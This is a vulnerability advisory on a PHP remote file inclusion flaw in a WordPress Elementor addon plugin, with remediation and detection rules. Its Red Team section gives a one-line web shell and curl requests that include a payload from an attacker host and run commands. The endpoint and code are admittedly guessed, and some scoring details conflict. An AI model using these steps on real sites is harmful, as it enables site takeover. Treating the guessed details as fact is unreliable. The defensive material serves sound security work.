CVE-2025-32158

Executive Summary

CVE-2025-32158 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the aThemes Addons for Elementor WordPress plugin (slug: athemes-addons-for-elementor-lite). The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary remote files. This can lead to remote code execution, data exfiltration, or complete site compromise. The vulnerability affects all versions up to and including 1.1.3. No official patch has been released, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the aThemes Addons for Elementor plugin. It is distributed via the official WordPress plugin repository. Users are advised to:

• Immediately disable or remove the plugin if no update is available.
• Monitor the plugin’s changelog and WordPress advisory pages for patch announcements.
• Consider using a Web Application Firewall (WAF) with virtual patching capabilities to block RFI attempts.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is remotely exploitable without authentication, making it attractive for mass exploitation campaigns. Although no public PoC exists, the nature of RFI vulnerabilities typically leads to rapid weaponization.

Deep Dive & Mechanics

The vulnerability is a classic PHP Remote File Inclusion (RFI) (CWE-98). The plugin likely uses a dynamic include() or require() statement where a user-supplied parameter (e.g., via GET/POST) is used to construct the file path without proper sanitization or allowlisting.

Example vulnerable code pattern:

<?php
$file = $_GET['file'];
include($file . '.php');
?>

An attacker can supply a remote URL (e.g., http://attacker.com/shell.txt) to include a malicious PHP file hosted on an external server. Since allow_url_include is often disabled in modern PHP configurations, the attacker may also use data URIs or other wrappers if enabled.

Attack flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-content/plugins/athemes-addons-for-elementor-lite/some-file.php?file=).
2. Attacker hosts a malicious PHP payload (e.g., web shell) on a controlled server.
3. Attacker sends a crafted request: GET /wp-content/plugins/athemes-addons-for-elementor-lite/vuln.php?file=http://evil.com/shell.txt
4. The server includes the remote file, executing the attacker’s code.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code and the required fix.

Vulnerable code (hypothetical):

<?php
// vulnerable.php
$template = $_GET['template'];
include( $template . '.php' );
?>

Patched code (recommended):

<?php
// patched.php
$allowed_templates = array('default', 'custom', 'fullwidth');
$template = $_GET['template'];
if (in_array($template, $allowed_templates, true)) {
    include( $template . '.php' );
} else {
    // fallback or error
    include('default.php');
}
?>

The patch must:

• Use an allowlist of permitted filenames.
• Avoid direct user input in file inclusion functions.
• Disable allow_url_include in php.ini as a defense-in-depth measure.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running WordPress with aThemes Addons for Elementor <= 1.1.3.
• Attacker-controlled server with a PHP web shell (e.g., shell.txt).

Exploitation steps:

1. Host a malicious PHP file on your server:

   <?php system($_GET['cmd']); ?>
   

2. Send a crafted HTTP request:

   curl "http://target.com/wp-content/plugins/athemes-addons-for-elementor-lite/vuln.php?file=http://attacker.com/shell.txt"
   

3. Execute commands:

   curl "http://target.com/wp-content/plugins/athemes-addons-for-elementor-lite/vuln.php?file=http://attacker.com/shell.txt&cmd=id"
   

Note: If allow_url_include is disabled, try using PHP wrappers like php://input or data:// if enabled.

Blue Team

Detection & Response:

• Monitor web server logs for suspicious include parameters containing URLs or IP addresses.
• Look for outbound connections from the web server to unknown external hosts.
• Use a WAF to block requests containing file= or include= with URL patterns.

Honeypot suggestion:

• Deploy a decoy WordPress instance with the vulnerable plugin and monitor for RFI attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled IPs/domains from the web server.
  • Suspicious GET/POST parameters containing http://, ftp://, or php://.
• File IOCs:
  • Unexpected files in /tmp/ or web-accessible directories (e.g., shell.php).
  • Modified .htaccess files.
• Log IOCs:
  • Web server logs showing include() errors or warnings.
  • PHP error logs with "failed to open stream" messages referencing remote URLs.

Detection Engineering

YARA Rule

rule CVE_2025_32158_RFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2025-32158 via RFI in aThemes Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32158"
    strings:
        $s1 = "athemes-addons-for-elementor-lite" nocase
        $s2 = "include(" nocase
        $s3 = "file=" nocase
        $s4 = "http://" nocase
        $s5 = "ftp://" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-32158 - aThemes Addons for Elementor RFI Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Remote File Inclusion in aThemes Addons for Elementor
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'file=http://'
            - 'file=ftp://'
            - 'include=http://'
            - 'include=ftp://'
        cs-uri-stem|contains: 'athemes-addons-for-elementor-lite'
    condition: selection
falsepositives:
    - Legitimate use of remote file inclusion in other contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32158 - aThemes Addons for Elementor RFI Attempt"; flow:to_server,established; content:"athemes-addons-for-elementor-lite"; http_uri; content:"file="; http_uri; pcre:"/(http|ftp)\:\/\//Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the aThemes Addons for Elementor plugin until a patch is released.
2. Virtual Patching: Deploy a WAF rule to block requests containing file= or include= with URL schemes.
3. PHP Hardening: Ensure allow_url_include is set to Off in php.ini.
4. Monitoring: Enable detailed logging for PHP errors and web server access logs.
5. Update: Monitor the WordPress plugin repository and vendor site for updates.

Valters IT
Securing Digital Frontiers